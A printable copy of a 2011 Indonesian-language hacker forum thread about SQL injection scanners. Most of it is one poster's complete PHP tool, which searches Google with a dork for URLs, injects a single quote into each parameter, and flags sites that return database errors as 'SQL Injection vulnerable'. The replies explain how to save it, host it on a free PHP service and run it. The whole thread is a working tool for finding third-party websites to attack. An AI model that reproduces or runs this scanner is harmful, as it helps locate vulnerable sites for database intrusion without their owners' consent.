HN-Community
[Tanya]Scanner SQLI - Printable Version

+- HN-Community (https://hacker-newbie.org)
+-- Forum: Miscellaneous (https://hacker-newbie.org/forum-86.html)
+--- Forum: General Computing (https://hacker-newbie.org/forum-16.html)
+---- Forum: Batch, Shell, DOS and Command Line Interpreters (https://hacker-newbie.org/forum-22.html)
+---- Thread: [Tanya]Scanner SQLI (/thread-9572.html)

Pages: 1 2


RE: [Tanya]Scanner SQLI - sohai - 08-14-2011

Quote:<html>
<head>
<title>||==Sohai SQLi Scaner ==||</title>
<link rel="SHORTCUT ICON" type="image/x-icon" href="http://i1215.photobucket.com/albums/cc512/sohai11/th_489tg7.gif">
<style>
body{
background: #000000;
color: #00FF00;
font-family: monospace;
font-size: 12px;
}

input{
background: #0F0F0F;
border: 1px solid #00FF00;
color: #00FF00;
}

h2{
color: #55FF2A;
}

a{ color: #5A5A5A; text-decoration: none; }
a:visited, a:active{ color: #5A5A5A; text-decoration: line-through; }
a:hover{ color: #00FF00; text-decoration: line-through; }
.effectok:hover { text-decoration: underline; }
.effectfalse:hover { text-decoration: line-through; }

</style>

</head>
<body>

<p align="center">
<?php
echo "<h2>Sohai SQLi Scanner</h2>";
echo "<form action='' method='post'>";
echo "<b>Dork</b>: <p><input type='text' name='dork' value='inurl:news.php?id='></p>";
echo "<input type='submit' value='Search'>";
echo "<hr><br />";

if($_POST['dork']) {

@set_time_limit(0);
@error_reporting(0);
@ignore_user_abort(true);
ini_set('memory_limit', '128M');

$google = "http://www.google.com/cse?cx=013269018370076798483%3Awdba3dlnxqm&q=REPLACE_DORK&num=100&hl=en&as_qdr=all&start=REPLACE_START&sa=N";

$i = 0;
$a = 0;
$b = 0;

while($b <= 900) {
$a = 0;
flush(); ob_flush();
echo "Pages: [ $b ]<br />";
echo "Dork: [ <b>".$_POST['dork']."</b> ]<br />";
echo "Getting result from google...<br />";
flush(); ob_flush();

preg_match_all("/<h2 class=(.*?)><a href=\"(.*?)\" class=(.*?)>/", Connect_Host(str_replace(array("REPLACE_DORK", "REPLACE_START"), array("".$_POST['dork']."", "$b"), $google)), $sites);
echo "Scanning...<br />";
flush(); ob_flush();
while(9) {

if(preg_match("/You have an error in your SQL','Division by zero in|supplied argument is not a valid MySQL result resource in|Call to a member function','Microsoft JET Database|ODBC Microsoft Access Driver|Microsoft OLE DB Provider for SQL Server|Unclosed quotation mark|Microsoft OLE DB Provider for Oracle|Incorrect syntax near|SQL query failed/", Connect_Host(str_replace("=", "='", $sites[2][$a])))) {
echo "<a href='".Clean(str_replace("=", "='", $sites[2][$a]))."' target='_blank' class='effectok'>".str_replace("=", "='", $sites[2][$a])."</a> <== <font color='green'>SQL Injection vulnerable</font><br />";
} else {
echo "<a href='".Clean(str_replace("=", "='", $sites[2][$a]))."' target='_blank' class='effectfalse'>".str_replace("=", "='", $sites[2][$a])."</a> <== <font color='red'>Failed</font><br />";
flush(); ob_flush();
}
if($a > count($sites[2])-1) {
echo "Done<br />";
break;
}
$a = $a+1;
}
$b = $b+100;
}
}

function Connect_Host($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$data = curl_exec($ch);
if($data) {
return $data;
} else {
return 0;
}
}

function Clean($text) {
return htmlspecialchars($text, ENT_QUOTES);
}

?>
</p>
<p align="center">||== Sohai Was Here ==||</p>
<p align="center"> </p>
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-12744915-4");
pageTracker._trackPageview();
} catch(err) {}</script>
</body>
<center><font color=#00FF00><script type="text/javascript" src="http://st1.freeonlineusers.com/on2.php?id=203663"> </script> Yang Lagi Nyecan</font></center>
</html>
klo yg sering ane pake si ini,lgyan bukannya ada ya di HN script scanner sqli soalnya ane pernah nemuin thread nya dan seharus nya di searching dulu kk.

dan ngk bakal bisa om di pasang di blog


RE: [Tanya]Scanner SQLI - Madman - 08-14-2011

@om sohai trus scriptnya di apain tuh om???? :)


RE: [Tanya]Scanner SQLI - sohai - 08-14-2011

(08-14-2011, 11:22 PM)Madman Wrote: @om sohai trus scriptnya di apain tuh om???? :)

save ke extensi .php
ntr tinggal upload script ntr lgsung jalanain di url lewat browser


RE: [Tanya]Scanner SQLI - Madman - 08-14-2011

ohh gitu ya...thx om...tapi ane ga punya hostingan


RE: [Tanya]Scanner SQLI - cyberhatuhaha - 08-15-2011

Gan kalau sqli mirip
http://revtan.site40.net/scanner/index.php << ada gak minta dunk URL NYA
soalnya revtan gak aktif lagi.!!!1


RE: [Tanya]Scanner SQLI - Arusar - 08-15-2011




RE: [Tanya]Scanner SQLI - Zombie© - 08-15-2011

trus hostingan yang cocok untuk Scanner SQLi apaan bg ??


RE: [Tanya]Scanner SQLI - Arusar - 08-16-2011

di 000webhost bs tuh kyk revtan...
rasa-ny yg penting PHP sm cURL...
kekekekekeke...